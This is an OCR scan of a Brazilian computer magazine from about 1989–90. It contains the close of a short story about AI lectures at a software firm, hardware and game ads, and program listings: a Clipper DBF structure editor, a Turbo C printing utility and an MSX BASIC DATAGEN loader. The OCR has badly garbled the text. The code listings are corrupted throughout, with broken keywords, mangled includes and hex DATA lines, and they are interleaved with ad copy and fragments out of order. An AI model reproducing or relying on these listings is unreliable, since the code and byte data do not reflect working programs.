dos LowerCASE (novo trocadilho, para 
minúsculas), voltados para a geração 
automática de códigos-fonte de pro¬ 
gramas. 

•*** 

Este seria seu último dia proferindo 
palestras para tão heterogênea platéia. 
A tarde estava ensolarada e, apesar 
disto, não estava quente. A SomeWare 
funcionava numa casa cujo terreno 
chegava até a praia, de onde vinha 
fresca brisa. "Até que seria gostoso 

trabalhar aqui", pensou o instrutor, pas¬ 

seando pelo gramado próximo ao cais, 
onde um pequeno dóri, atracado, ba¬ 
lançava mansamente. Nele estava 

Zelda. 

- Olá, professor! Que dia bonito, não 

é? 

- Boa tarde, Zelda. Onde estão os 
outros? 

- Alberto e Baricceli estão por aí; 
o Charles foi levar Delamarte ao 
Detran, para tirar carteira de moto¬ 

rista; Edu e Fred têm prova na facul¬ 
dade hoje e o patrão está em São 
Paulo. Assim, estou aqui, aprovei¬ 
tando o solzinho, com o "sem-fio" 
para o caso de algum cliente telefo 

nar... 
Olha! Lá vêm Beto e Barí. 

- Boa tarde, professor! 

- Ciau, maestro! 

- Boa tarde, Alberto, Bariccelli. Que 
tal ficarmos por aqui mesmo e conver¬ 
sarmos, como os antigos gregos, so¬ 
bre I.A.? 

- "Inteligência Artificial", não é?, 
sintonizou-se Alberto. 

- Boa idéia! Posso ficar aqui no bar¬ 

quinho? 

- Claro, Zelda. Vamos aproveitar esta 

tarde bonita, quando nos sentimos tão 
bem, para nos lembrarmos de Descar¬ 

tes, que disse: "Penso, logo existo". 
Se nos esquecermos de tudo o que 
já foi dito sobre nossa condição hu¬ 
mana e de nosso privilégio sobre toda 

a Criação, podemos nos perguntar, por 
exemplo, em que nossa mente difere 
da daquele cachorro que está ali. 

Todos olharam para o canil que a 

SomeWare mantinha. 

- Pode ser muito confortável dizer 
que ele não raciocina ou que é movido 
por instintos. Acontece que instintos 

nós, humanos, também temos, ape¬ 
sar de segui-los menos vezes do que 
deveríamos. A inteligência nos faz 

aprender coisas novas, da mesma ma¬ 
neira que o cachorro aprende a cuidar 
daqui, a trazer o jornal que jogam de 
madrugada e outras coisas assim. 

Até Zelda estava pensativa. 
Observando-a assim, flutuando bucó¬ 
lica no dóri, o instrutor percebia-a 
como outra pessoa e sentia-se con¬ 
tente por estar ali. 

- E um computador, professor?, per¬ 
guntou Alberto. Ele não tem instintos, 
não raciocina... Só obedece ao pro¬ 
grama que nós escrevemos e carrega¬ 

mos nele. 

- E se o encararmos de outra ma¬ 
neira? Se o programa for capaz de, 
além de tomar decisões, inferir, arma¬ 
zenar dados e, mais ainda, aprender? 
Qual é o processo do aprendizado? 
Como um ente inteligente deve se por¬ 
tar ao se defrontar com situações no¬ 
vas? Há algum tempo os pesquisado¬ 
res buscam linguagens e/ou algoritmos 
que possam, no mínimo, simular um 
comportamento inteligente. Surgiram 
linguagens como o LISP, o Forth, o 
Prolog... Os investimentos no campo ^ 

<a vez mais me convenço que este 
negócio de cérebro eletrônico tem 
qualquer parte com o canhoto! 
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das Redes Neuronais são cada vez mais 
pesados... O que se busca é uma ma¬ 
neira de se ter uma máquina capaz de 
reagir "humanamente" a situações inu¬ 
sitadas, inesperadas. Ainda existe 
muito chão pela frente mas... 

Charles havia chegado com um De- 
lamarte muito alegre. 

- Boa tarde, Delamarte. Pelo seu ar, 
temos um novo motorista nas ruas. 

Meus parabéns! 

Enquanto Delamarte falava de sua 
vitória, Zelda foi preparar um lanche 
e Charles aproveitou para se inteirar 

do assunto da aula. Quando estavam 
todos reunidos novamente, chegaram 

os dois estagiários, a quem colocaram 

a par do assunto. Zelda desceu com 
sucos e biscoitos, improvisando uma 
mesa sobre a amurada do cais. 

- Agora que a família está toda reu¬ 

nida, que tal um lanche? 

- Professor (Charles estava interes¬ 
sado em que a aula fosse reiniciada), 
não é demais querer um "computador 
pensante"? Veja este assunto de redes 
neuronais: se minha mente fosse sim¬ 
ples o suficiente para que eu a enten¬ 

desse, não a entenderia. 

- Basta que entendamos o suficiente 
para o nosso propósito, ou seja: uma 
máquina cujo comportamento possa 
ser comparado ao de um ser humano. 
Na mesma medida em que voce pode 
usar linguagens tradicionais como Ba¬ 

sic, Pascal ou C e fazer programas com 
um comportamento inteligente, 
quanto mais você se valer das ferra¬ 

mentas certas, mais facilmente atinge 
o comportamento desejado, com me¬ 
nos esforço de programação. 

- Que tipo de programa pode ter um 
comportamento considerado inteli¬ 
gente?, quis saber Alberto. 

- Não é propriamente o "tipo" do 

programa. Trata-se das suas reações 
ao mundo externo, às perguntas de seu 
usuário. Como regra geral, um bom 
teste seria rodar o programa num com¬ 
putador em uma sala e, em outra, co¬ 
locar um usuário com um terminal li¬ 
gado ao computador onde está o 

programa. Caso o usuário não saiba 
precisar se está "falando" com um pro¬ 
grama, ou se é um outro ser humano 
que responde ao que ele pergunta, 
então o comportamento do programa 
é dito inteligente. Hoje se dá muita ên¬ 

fase aos Sistemas Especialistas, que 
são sistemas baseados na recuperação 
de informações que residem em arqui¬ 
vos ditos "bases de conhecimento", 
onde existem dados e correlações en¬ 
tre eles. 0 programa, então, usa regras 
para encontrar a informação que o 
usuário precisa a respeito do assunto 
sobre o qual versa o sistema. 

O instrutor passou o resto da tarde 
discorrendo sobre as diversas experi¬ 
ências mundiais na área, até que che¬ 
gou o momento de dar por encerrada 
sua série de palestras. Foram conver¬ 
sando mais um pouco, enquanto ca¬ 

minhavam para a sede da SomeWare, 

envolvidos por um crepúsculo majes¬ 
toso. 

Nenhuma das pessoas queria se 
despedir... quando chegou o presi¬ 

dente da empresa. 
Ele sabia que o comportamento de 

seus empregados havia mudado com 
o aparecimento do instrutor. Percebia 
que a renovação que ele gostaria de 
imprimir à sua equipe precisaria de algo 
mais que uma mera série de palestras 

e sim, talvez, um investimento conti¬ 
nuado nas técnicas de última geração. 
Afinal, sua empresa vivia disto! 

- Que tal fazer parte de nossa fa¬ 

mília?, propôs. 

- Não vejo a hora... 

- Pois muito bem. A partir de 
segunda-feira construiremos um novo 
bangalô, perto do cais, onde inaugu¬ 
raremos o novo departamento da So¬ 
meWare. Quem sabe possamos che¬ 
gar, até, a oferecer cursos para nossos 

clientes? 

- Bem que minha astróloga falou!... 

RICARDO GHIRLANDA é Analista de Sis¬ 

temas. Fez cursos de Matemática Avan¬ 

çada e Tópicos em sistemas Digitais na 

UnB. Possui Pós-Graduação em Engenha¬ 

ria de Software feita na Universidade Ca¬ 

tólica de Brasília. É consultor em Comu¬ 

nicação de Dados da Telebrás e presta 

consultoria à Hondutel em Honduras. 

MSX é SOFT SUL. 
HARDWARES 
Drives DDX 
Megaram disk (256 Kb, 
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SOFTS 
Jogos e aplicativos, o maior 
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PACOTÃO JOGOS 
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MINI PACOTÃO 
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CATÁLOGO COMPLETO 
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A CHANCELLER, empresa atuante em diversos setores da 
dispõe hoje de uma nova geração de EQUIPAMENTOS, bem 

prestação de serviços e manutenção nas areas de: 

eletrónica, 
como, a 

TELECOMUNICAÇÒES 

* Estúdios 

* Transmissores 

* Geradores 
* L.P. 

IMFORMATICA 

* Micros 

* Impressoras 

* Terminais 

* Drivers 

Consultoria de instalação de AMBIENTES de In-f ormãt i ca. 

Instalação e Projetos de Estúdios e Integração de sua 
Estação com a In-formàti ca. 

A CHANCELLER coloca á sua disposição a mais alta Tècnologia, 

inciuindo orientação precisa na hora da escolha do EQUIPAMENTO 

redução de custos para Implantação e ainda a ònica Assistência 

garante um atendimento PERSONALIZADO, custo baixo 
a GARANTIA de grande estoque de peças e componentes. 

e 

ESPECIALIZADA EM MICROCOMPUTADORES 

E PERIFÉRICOS 

Rua Souto, 343 Loja B - CASCADURA -Rio de Janeiro 
Tel. (021) 593-2226 - CEP. 21311 

RJ 
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PROGRAMA 

Facilite a alteração de arquivos DBF PC 
mu 

Micro: IBM PC/XT 

( 

larr 
Memória: 512 Kbytes 

ten 
Um arquivo DBF Vídeo: CGA 

Linguagem: Clipper 

Me 

vit( 
à moda da casa Requisitos: Nenhum 

□ Marcos Roberto Santello 

Um problema corriqueiro que cos¬ 
tuma acontecer sempre que precisa¬ 

mos alterar a estrutura de um arquivo 
DBF é a necessidade de recorrermos 
a uma cópia do dBase. Por conta 
disso precisamos recorrer aos dois dis 
quetes contendo todo o software, o 
que, convenhamos, é um bocado in- 

Anote 
nosso novo 

telefone em 

São Paulo: 

(852 -5617) 

. ./Vii cr o 

Programa: MSTRUC.PRG 

* Programa: Mstruc. prç» 

* Funcao..:Altera a estrutura de um arquivo DBF. 

* Autor-:Marcos R. Santello 

set scor off 
Dubl mens 
mens ■ '' 
do whil ,t. 
ciea scre 
@ 07, 20 to 13, 70 
z_arq ■ spac(08) 
0 09, 23 say 'Modifica extrutura do Arquivo DBF' 
011, 30 say Nome do Arquivo:' get z_arq 
read 

encontrado 

termina o program 

exít 
end i 

v_arq ■ C&z_arq..dbf3 
i f ffíle(v.arq) 

8 24, 30 say 'Arquivo 
inkey(O) 
loop 

endi 
# 
use &z_arq && Abre o arquivo 
z_ncamp = O 
z_cond * .t. 

z.ncamp = fcount () &í< Obtem numero de Campo dos arquivos. 

decl i_camposCz_ncamp*50],z_tipoCz_ncamp+503,r_tamCz_ncamp+503,z_decCz_ncamp+50] 
* 
afields(z_campos,z_tipo,z_tam,z_dec) Obtem descricao de cada campo. 
1 inha = 1 
z.sonta = 0 
z_tecla = 0 
z_opc = spac(01) 
clea scre 

for a = 1 to z.ncamp && Transforma todos campos p/tamanho de 10 bytes. 
z.camposCa] = z.camposCa] ♦ spac(10—1en(z_camposCa3)> 

set colo to I 
@ 24, 01 say repl(' ',79) 
S 01, 55 say 'Para cancelar operacao' 
@ 02, 62 say 'tecle <Esc>' 
set colo to 
for a = 1 to z.ncamp && Fica no laco ate o fim do arquivo. 

@01, 01 to 1 inha+2, 50 
@01, 02 say Nome Tipo Tamanho Decimais 
1inha = 1inha + 1 
@ linha , 02 get z_camposCa3 pict '@!' 
@ linha , 15 get z_tipoCa3 pict '!' vai id(z_tipoCaD S 'CNDLM'> 
tamanho = z_tamCaJ 

Ô linha , 20 get tamanho pict '999' vaiid tipo_c(@tamanho) 
@ linha , 30 get z_decCa3 pict '999' vaiid típo_c2() 
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read 
2_tamC33 - tamanho 

cômodo, além de ser eventualmente 
ilegal. Para resolver este problema de¬ 
senvolvi o programa que se segue, 
utilizando os recursos da linguagem 

Clipper. 

COMO FUNCIONA 

O funcionamento do programa é 

semelhante ao Modify Structure do 
dBase III. Os campos serão editados 
com seu nome, tipo, tamanho e de¬ 
cimais. Sempre que terminar a edição 
do campo, aparecerá na linha inferior 

da tela uma mensagem perguntando 
se desejamos incluir ou excluir o cam 
po corrente. Se for teclado I, será in¬ 
cluído um campo logo após o campo 
corrente. Caso seja teclado E, será 

excluído o campo corrente. Para can¬ 
celar a operação basta teclar ESC. 

Atenção: da mesma maneira que 
o Modify Structure, só os campos 
que continuarem com o mesmo nome 
serão salvos com o seu conteúdo; 
campos novos ou com nome alterado 
ficam vazios dentro do arquivo. 

No programa já é feita a consistên¬ 

cia da entrada do tipo de campo per¬ 
mitido. Fica, como sugestão, o apri¬ 
moramento das consistências do 
programa, não deixando entrar cam¬ 
pos iguais, caracteres inválidos, etc. 

Para link-editar o programa utilize 
a biblioteca "EXTEND.LIB". Por exem¬ 

plo: 

C:/CLIPPER/CLIPPER MSTRUC 
C:/C LI PP ER/T LINK 
MSTRUC,„CLIPPER EXTEND/x 

Ou então: 

C:/CLIPPER/PLINK86 FILE MSTRUC 
LIB CLIPPER.EXTEND 

MARCOS ROBERTO SANTELLO é Pro 
gramador Analista, desenvolvendo Siste 
mas de Informação de Linguagem Clip¬ 

per, Cobol, Quickbasic e dBase III Plus. 

if lastkey() == 27 
clea scre 

@ 11, 30 say Operacao cancels 
canc 

end i 

z_tamCa3 :_5oma = :_5ona 
if 1inha >= 22 

1inha = 1inha + 1 
@ linha+1, 05 say 'Tecle qualquer tecla p/continuar 

inkey(O) 
set colo to 
clea scre 
@01» 01 to 03, 50 
@01, 02 say Nome Tipo Tamanho Decimais' 

1 inha = 1 
end i 

if mcamp <@z_ncamp,@a» @1inha,»z_soma> 
z_camposCa+ll = spac(lO) 
z_tipoCa+13 = spac(Ol) 
z_tamCa+l3 = O 
z_decCa+l3 = 0 
loop 

end i 
@ 1inha+1, 01 clea to linha+1> 50 

ext 
linha+1, 01 say repl<chr(196),50) 

'Operacao cancela 

••• Cria nova estrutura ••*•»+•** 
* 
create arqtmpl 
use arqtmpl 
@ 24, 01 say spac<79> 
for a ■ 1 to z.ncamp 
8 24, 05 say 'Aguarde, criando nova 
appe blan 
repl field_name with 
repl field_typa with 
repl field_len with 
repl field_dec with 
if inkey O ■■ 

z.tecla 
end i 
next 

27 

a estrutura... 

z_camposCa3 
z_tipoCa3 
r_tamCa3 && Cria estrutura 
z_decCa3 

30 say Operacao cancela II!' &!< Can 
&& teci adí 

campos. 

programa so for 
a tecla Esc. 

8 24, 05 say 'Aguarde, salvando os 
crea arqtmp2 from arqtmpl 

cios data 
use arqtmp2 
appe from í«z_arq 
cios data 
dele file &z_arq..dbf 
rena arqtmp2.dbf to fcz_arq..dbf 
dele file arqtmpl..dbf 
8 24, 05 say spac(30) 
use íil.arq 

1 inha = 1 inha + 1 
* soma 1 byte do flag de excluído 
z_soma = z_soma ♦ 1 
set colo to I 
8 linha+1» 01 say 'Fim de Estrura 
@ linha+1, 17 say Arq:í<z_arq !' 
8 linha+1, 31 say 'Tam.do Registro 
8 linha+1, 55*say 'N.de Registros 

registros... 
&& Cria nova estrutura. 

&& Salva os registros com campos do mesmo 
&& nome. 
&í< Apaga antigo Dbf. 
Zct, Renomeia o novo arquivo o/o nome de or igo 
&& Exclui arquivo temporário. 

' Mostra caracter ist icas do arquivo. 

S' + str <z_soma,4) 
' + str (recc 0,4) 

£ 1 
^ x n 
h w ss 

CANAL TRÊS SSUic, FONE (011) 856-9647 
HARDWARE SOFTWARE CLUBES 

• pc xt/at • msx expert hotbit • linha pc xt/at • nisx clube: vantagens aos 
• drives p/ msx e pc • kit 2.0+ • linha msx, msx2, megarom nossos associados 
• megaram • memory mapper • linha tk 90/95 . ngC. nintendo game clube, com locação 

Ph É 

• modem • muitiface one /\0 solicitar catálogo, - phantom system - dynavision II 
• amiga e periféricos pqnprifinup spu micro • bit system - super game cce - 
• cartuchos Video game eSpeClTique seu mic O. nintonrin - family rnmpnter - fttr. 
• impressoras etc. 

PRAÇA BENEDITO CALIXTO, 66 - PINHEIROS - CEP 05406 - SAO PAULO - SP 



wait 
use 
set colo to 
endd 
canc 

func mcamp 

param z_ncamp, a, linha, z.sora 
2_opc = spac(Ol) 
set colo to I 
0 24, 01 say repl(' ,79) 

© 24, 08 say 'CI3nclui novo campo / CEDxclui campo corrente / CEnterj continua' 
oet z_opc pict '! valid(z_opc * 'IE ') 

read 
set colo to 

2_opc == 'I icic Inclui campos 
z_ncamp = z_ncamp + 1 
axns (z_campos,a»1) 
ams(z_t ípo, a+1) 
sins (:_tsm, a*-l) 

retu .t. 
endx 
ií z-opc == 'E' *<?< Exclui campos 

2-ncamp = :_ncamp - 1 
z_soma = z.soma - z_tamCa3 
adel(z_campos,a) 
adel(z_tipo,a) 
adel(z_tam,a> 
adel<z_dec,a) 
a = a - 1 
1 inna ■ 1 inha - 1 

end i 
retu .f. 

íunc tipo_c 

* Consiste a entrada dos campos, 
para tamanho 
set colo to .1 
Ô 24, 01 say spac<79) 
i-f strrero (tamanho, 3) < '001' 

tone(800,3) 
tone(500,3) 
© 24, 20 say 'Tamanho do campo nao pode ser zero' 
inkey <0> 
retu .4. 

end i 
J-f 2_tipoCa3 — 'C' .and. str (tamanho,3) > '254' 

tone(800,3) 
tone(500,3) 
ã 24. 20 s.y 'Campo c.r.cter e no «.animo 234 caracteres |- 
inkey <0> 
retu .4. 

end x 

i* s_tipoCa3 =« 'N' .and. strzero(tamanho,3) > '019' 
tone(800,3) 
tone(500,3) 
0 24, 20 say 'Campo numérico o máximo e 19 caracteres •' 
xnkey(0) 
retu .4. 

end i 
it c_tipoCa3 ■■ 'L' -and. strccro(tamanho,3) > 001' 

tone(800,3) 
tone(500.3) 
@ 24, 20 say 'Campo logico e de 1 caracter ! ' 
inkey(0> 
tamanho ■ 1 
retu .f. 

end x 

li z_tipoCa3 — 'M' .and. strzero(tamanho,3) != '010' 
tone(800,3) 
tone(500,3) 

® 24, 20 say 'Campo tipo Memo e de 10 caracteres !' 
inkey(0) 
tamanho = 10 
retu 

end i 

** z_tipoCa3 == 'D' .and. strzero(tamanho,3) != '008' 
tone(800,3) 
tone(500,3) 
@ 2*. 20 say 'Campo tipo Data e de 8 caracteres !' 
xnkey(0) 
tamanho = 8 
retu .f. 

end i 
retu .t. 

*♦***•*•*#****♦ 
•func tipo_c2 
••«•**■****«** 

x-f z_tipoCa3 1 = 'N' .and. strzero (z_dec Ca3,3) ' '000' 
tone(800,3) 
tone(500,3) 

0 24, 20 say Campo decimal so para camoo numérico ! 
xnkey(0) 
retu .-f. 

end 1 
retu .t. 

* Kim do programa Mstruc.prg 
• ****-**•**•******«•**••« *-*************»*****»*-»Mt*************************** 
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Transforma seu MSX1 em uma estação 

gráfica de pequeno porte. As principais 

características são: 

— 80 colunas já incorporado 

(mesmo pela TV) 

— Número de Screen até 8 

— Resolução de pontos de 512 x 424 e 

16 côres de 512 combinações possíveis, 

(modo entrelação) 

— Resolução de côres simultâneas 256. 

Cada ponto pode assumir uma cor. 

— Scroll fino no sentido vertical. 

(A movimentação no sentido vertical das 

telas gráficas se faz linha por linha. 

— Basic mais poderoso 

(ROM passa para 48 KBytes) 

— Hirbo-Basic já incorporado 

(acelera até seis vêzes 

o processamento de 

programas em Basic. 

— RAM de vídeo de 

128 KBytes. 

— Relógio interno (conta 

hora e data mesmo 

com o micro 

desligado - 

mantido a bateria) 

— Expansão de 

Slot interna 

(4 sub-slots) 

E "°n 

2.0 + 

— CARTUCHO ll-MEGARAM: 

Permite rodar os jogos tipo Megarom 

grava em disquetes. São jogos 

de grande qualidade gráfica e 

vários níveis de dificuldade 

Aproximadamente 80 jogos 

para MSX1 e MSX2. 

— Mega-Mapper: 

expansão de memória para MSX2 

(interna). Expande a RAM do usuário 

para 256 KBytes podendo chegar 

até a 4 MBytes. Ideal para os 

programas utilitários europeus e 

jogos de última geração. 

Aprimoramento do Kit 2.0. 

Passa a trabalhar com 

19.268 côres simultâneas. 

O número de screens passa 

para 12. Scroll fino tanto 

na horizontal quanto na 

vertical. ROM do.Basic 

vai para 64 KBytes, 

onde estão os novos comandos. 

Jogos de altíssima 

qualidade gráfica. 

Junto com o cartucho 
FM-PACeodigitalizador 

da Sony se toma o 

computador mais moderno 

da linha. 

RUA LUCIDIO LAGO, 126/503 ueE COttWW^ 
MÉIER ■ RIO DE JANEIRO ^ 



UTILITÁRIO 

Melhore a impressão de seus arquivos ASCII 

Uma listagem 
em boa forma 

Micro: IBM PC/XT 

Memória: 512 Kbytes 

Vídeo: CGA 

Linguagem: Turbo C 

Requisitos: Impressora 

□ Laudemir Aparecido de Oliveira 

0 programa que apresentamos a se¬ 
guir é um pequeno utilitário para im¬ 

pressão formatada de seus programas- 
-fonte escritos em ASCII, tais como 
*.C, *.PRG, etc. Uma das conveniên¬ 
cias deste programinha é a possibili¬ 

dade de saltar o inconveniente picote 
do formulário. 

0 programa é bastante simples de 

usar. Sua sintaxe é LIST <prgascii > 
onde <prg. ascii> é, naturalmente, 
o nome do arquivo ASCII a ser copiado 

na impressora. 

CARACTERÍSTICAS PRINCIPAIS 

A impressão é feita em 120 colu¬ 
nas, sem numeração de linha e pági 

na. Para meu próprio uso julguei estes 
detalhes desnecessários, mas o usuá¬ 
rio poderá implementá-los, se desejar, 
efetuando modificações mínimas no 

programa. 
Na parte superior da primeira pági 

na são impressos, em caracteres ex¬ 
pandidos, o nome do arquivo e a data 

e hora do sistema. Este procedimento 
visa facilitar o arquivamento das lis 
tagens. 

O programa foi compilado em 

TURBO C, versão 1.5, ea principal ro¬ 
tina é explicada a seguir: 

°include <BlOS.h> 
biosprintfint cmd, int byte, int port) 

Observe que se cmd é 0, imprime 
o caracter em byte; 1 inicializa a porta 
de impressão e 2 retorna o status da 

porta. 
Foi usado no programa o valor hexa 

90h (0x90 em C), para testar se a im¬ 
pressora que foi selecionada está 
pronta. 

MESAGENS DE ERRO 

Caso não seja informado nome do 
arquivo para impressão, é mostrado na 

tela um pequeno HELP. 
Existem mensagens de erro também 

para os casos de o arquivo especificado 
não ser encontrado e quando a impres¬ 

sora estiver desligada. 
Boa sorte, e espero que este pro¬ 

grama lhe cause uma boa impressão. 

LAUDEMIR APARECIDO DE OLIVEIRA 
é Técnico em Telecomunicações e traba¬ 
lha atualmente na Embratel de Londrina. 
Possui conhecimentos básicos da lingua 
gem C. Assembler 8088/86 e Clipper. 

status retornado 

( MSB ( LSB 

1 1 1 

-> Erro de temporização 

-> Não utilizado 

-> Erro de 1/0 
-> Impressora selecionada 

-> Erro de falta de papel 

-> Confirmação da byte recebido 

-> Impressora pronta 

Byte de estado da impressora 

ALTA TECNOLOGIA EM MANUTENÇÃO DE COMPUTADORES 

MICROCOMPUTADORES ATENDIMENTO RÁPIDO COM 
GARANTIA TOTAL 

PCXT/AT 286 386 
NACIONAIS E 
IMPORTADOS 

Rua da Lapa, 180 Gr. 1201 
Rio de Janeiro-RJ 

Tels.: (021)235-5036 - 232-9669 

LABORATÓRIOS SUPER EQUIPADOS E PROFISSIONAIS TREINADOS NAS FABRICAS 

ASSISTÊNCIA TÉCNICA PROFISSIONAL EM TODO O BRASIL 



• Programa: LIST.C 

ProgrâM - IKT.C 
autor - làuleair Aparecido de Oliveira 
data - 82/11/9* sexta-feira 

bi<wprintl8,,\n‘,PWT)ç 
biosprint<8,'\n',P0RT); 

rfúl* ((óF9etclfp))!í£CF) /* le ate o final da ar^jivo */ 

linclude <stdio.h) 
íinclude <ti«e.h> 
linclude <bios.h> 
Mefine PORI 8 

char *help = 
•\nPrograma LIST versão 2.8\nVna 
*Uso 5 list <noM>\na 
■<no«e) i arquivo ASCII a i■pri■ir\n\n,; 

FIL£ *fp; 
int d\; 
int c-15, n=18, «=U; 
int i=#j 

lt*tÍM<NULL)( 
ptr«localtiie(llt)| 

biosprint<8,,\f‘,P0RT); /* se imprimiu 55 lirtias pula pag. */ 

/* imprime 0 caracter na tela */ 
/• imprime 0 caracter na impresssora *1 

/•* c=comprimido rv=normal e*expandido •'/ 

bi<wrint(8,,\f,,P0RT)j 
biosprint(8,n,P(KT); 
fclose(fp); 

Fuoo i*pstr(char >s) 
imprime tma string em maiuscula 

void impstr(s) 
char »ss 

printfCJteVhelp); 
«itüh 

if (!(fp‘fopen(argvlll, Ví)) 

biospr int <8, tomr (H), PCftT): 

/• ponteiro para cadeia de caracteres •/ 

/• imprime cadeia ee maiuscula */ 
/• proximo byte •/ 

if lbiosprmt(2,8,P0RT)**8»«98) 

biosprint(8,e,P0RT); 
impstrCPRQGRWtA ■)» 
íepstrlargvlim 
biosprint<8.c.P0RT)i 

impstrC - Mj 
iepstrlasctiee(ptr))i 
bíO5print(8,c,P0RT)j 

/• manda caracter de expandido para upr 

/* lapriae reme do arquivo ascii •/ 

INFORMÁTICA SÉNIOR SOFT 
JOGOS PARA PC XT/AT 

Barbarian (luta) 

Bob Wrestle (luta livre) 

Rock Billiar 

Soccer (futebol) 

Sokoban (inteligência) 

SpyxSpy 

Rambo III 

World Games 
Cada progama: CrSl.000.00 

Tecnocop 

Três patetas 

Demon Stalker 

F.15 II (sim. combate) 

Fred Krugger 

Laker x Seltcs (basquete) 

Budocan (lutas marciais) 

Out Run 
Cada programa: Cr$1.500.00 

Enviar cheque nominal a ROGÉRIO GAGLIARDI no 

Rua Nachie, 97 - São Paulo - Tone: (011) 914-0676 - 

INCRÍVEL NOVIDADE 

Jogos originais importados 

com manuais na embalagem 

Você não precisa mais comprar 

nos Êstados Unidos. 
• 

Ligue e informe-se. 
• 

Venda de Joystick e Mouse 

p / PC 

seguinte endereço: 

SP - CEP 03129 



PROGRAMA 

Agilize o uso de rotinas LM em programas Basic 

DATAGEN: 
Linhas DATA instantâneas 

ços inicial e final, comparando-os para ver 
se o inicial não é maior que o final. De¬ 
pois, coloca na memória, a partir do en¬ 
dereço &h8001, os códigos de início de li¬ 
nha e da instrução DATA. A seguir pega 
o primeiro código da rotina, transforma-o 
em uma string de dois caracteres, coloca- 
-o após a instrução DATA, adiciona o có¬ 
digo de uma vírgula e repete o processo, 
pegando outro código da rotina. Depois 
de colocados 50 códigosé são inseridos 
os códigos de final de programa. 

A rotina que faz a transformação do nú¬ 
mero hexadecimal para a string de dois ca¬ 
racteres é bem semelhante àquela publi¬ 
cada em MS 78, na série de artigos 
"Programação Z80". 

Duas alterações interessantes no pro¬ 
grama seriam a leitura da rotina direto de 
sua assemblagem em disco e a adição dos 
códigos do loop que faz o pokeamento das 
linhas DATA na memória. Se isto soar 
como um desafio para você, sinta-se à von¬ 
tade para implementá-las. 

ARIEL CALLEGARIO GOMES é técnico 
em Química e possui um MSX e um PC 
XT Programa em Basic. Pascal e Assem- 

bler. 

CLASSIC 
SOFT 

MSX 
CLASSIC SOFT MSX 
Rua João Cordeiro, 489 - Freguesia do Ó 
São Paulo - Capital - CEP 02960 
FONE (011)875-4644 

JOGOS PARA MSX 1 E 2 
MEGAROM E APLICATIVOS 

JOGOS E APLICATIVOS 
•TEMOS MAIS DE 2.000 
• OS MELHORES D0 MERCADO 
•COLEÇÃO COMPLETA 
• OS ÚLTIMOS LANÇAMENTOS 
VINDOS DA EUROPA 

TEMOS JOGOS E APLICATIVOS 

SOLICITE NOSSO CATÁLOGO 
GRÁTIS 

GARANTIMOS TOTALMENTE 
NOSSOS PRODUTOS 

□ Anel Callegario Gomes 

È muito comum desenvolver rotinas em 
linguagem de máquina para serem usadas 
num programa em Basic no MSX. A ma¬ 
ior dificuldade encontrada (depois de se 
escrever a rotina, é claro!) é passá-la para 
o programa Basic. É comum gravar a ro¬ 
tina em separado e carregá-la do Basic, 
só que isso prejudica a portabilidade do 
programa e aumenta o tempo de espera 
para os usuários da fita cassete. 

O melhor (e mais comum) procedi¬ 
mento é colocar a rotina em linhas DATA, 
de onde é possível POKEá-la para a me¬ 
mória. Difícil é colocar os códigos nas li¬ 
nhas, pois é preciso copiá-los de alguma 
"debugagem" da rotina. No entanto, o 
computador pode fazer tudo isso sozinho, 
e com a vantagem de não cometer erros! 

O programa destas páginas faz exata- 
mente isso. Dadas as posições inicial e fi¬ 
nal (em hexadecimal) do bloco de memó¬ 
ria onde está a rotina, ele cria as linhas 
DATA a partir do número 10 e com um in¬ 
cremento de 10, colocando 50 códigos por 
linha (em WIDTH 39 os códigos ficam ar¬ 
rumados em colunas, melhorando a apre¬ 
sentação). 

COMO PROCEDER 

Digite e grave o programa carregador, 
rodando-o em seguida. Ele irá gravar o pro¬ 

grama em sua forma binária. Para usá-lo, 
primeiro canegue a rotina que será passada 
para as linhas DATA, ou então faça a as¬ 
semblagem na memória. É necessário sa¬ 
ber o endereço inicial e final. Rode o DA¬ 
TAGEN com: 

BLOAD "DATAGEN.BIN".R. 

Ele perguntará os endereços e fará a 
transferência. É possível, então, renume- 
rar as linhas e fazer o MERGE com o pro¬ 
grama que deverá contê-las. 

Você pode alterar facilmente o número 
da primeira linha e/ou do incremento. Em 
&hD85E está o número da linha (LSB), e 
em &hD860 o incremento (LSSB). O nú¬ 
mero de códigos por linha acha-se em 
&hD7CA. Caso você mude esses 
parâmetros, não se esqueça de regravar 
o programa com BSAVE "DATA 
GEN.BIN",&hD760,&hD8B6. 

Como se vê, o programa está colocado 
entre os endereços &hD760 e &hD8B6. 
Não se pode, portanto, passar um bloco 
nesses endereços, pois na prática se estará 
passando o próprio DATAGEN. O jeito é 
carregar ou assemblar a rotina com um of- 
fset, e fazer a transferência usando os no¬ 
vos endereços. 

O que o programa faz na realidade é 
muito simples: primeiro recebe os endere- 

Micro: MSX 1. / 2. 

Memória: 64 Kbytes- 

Vídeo: P&B / Color 

Linguagem: Basic 

Requisitos: Drive 

MSX 



• Programa: CARREGADOR 

0 'DATAGEN vl.01 
1 'ARIEL C. GOMES - 1989 
3 
4 ' 

D8.D5,CD,97,D8.22.5A,D8,23,23,ED.5B.5E.D8.73,23,72,23,EB,EC 
4B,60,D8.09,22.5E,D8.E3,Dl,36 
160 DATA 

84.23.36.20.23.06.32.CD.AO.D8,36.2C,23,E5,2A,5C.D8.CD.20,00 

20 PRINT"DataGen vl.01 
30 PRINT"Ariel Callegario Gomes - 1989 
40 PRINT:PRINT" Prepare o disco onde o programa 
50 LINE INPUT" será gravado, e pressione uma tecla.";RS 
60 ' 

77.23,77.23.22.C2,F6.22.C4.F6 
170 DATA 
22,C6.F6,32, AB,FC,C9,44,61.74,61,47.65,6D.20,20.76,31,2E.30. 
31,24,41.72.69.65.4C,20.43,61.6C,60.65,67,61,72.69.6F.20,47, 
6F.6D.65,73.20.2D.20.31,39.38 

80 READ AS:POKE X,VAL( " LH "+AS) 
90 NEXT 

180 DATA 

39,24,45,6E.64.65.72.65,87,6F.20,69,6E.69.63.69,61.6C,20,3D. 
3D.3E.20,26.68.24.45.6E.64.65.72,65,87,6F,20,66.69,6E,61,6c. 

110 BSAVE~DATAGEN.BIN" , &.HD760. &.HD8B6 
120 PRINT:PRINT"Terminado. 
130 ' 
140 DATA 
3E.27,32.B0 , F3 . CD . 49.08,21 . FD. D7 , CD. 62 . D8.21,02.01, *>2.DC,F3. 

190 DATA 

1— Oi.80.Õã}OO.OA.OO,OA.00.7E.FE.24.C8.CD,A2.00,23.18.F6,CD,62. 
•2 D8.CD.B1.00,CD.76.D8,C9.CD.7F.D8.57.CD.7F,D8,5F,C9,CD,8C,D8, 

07,07,07,07.47,CD,8C,D8,80,C9 
200 DATA 

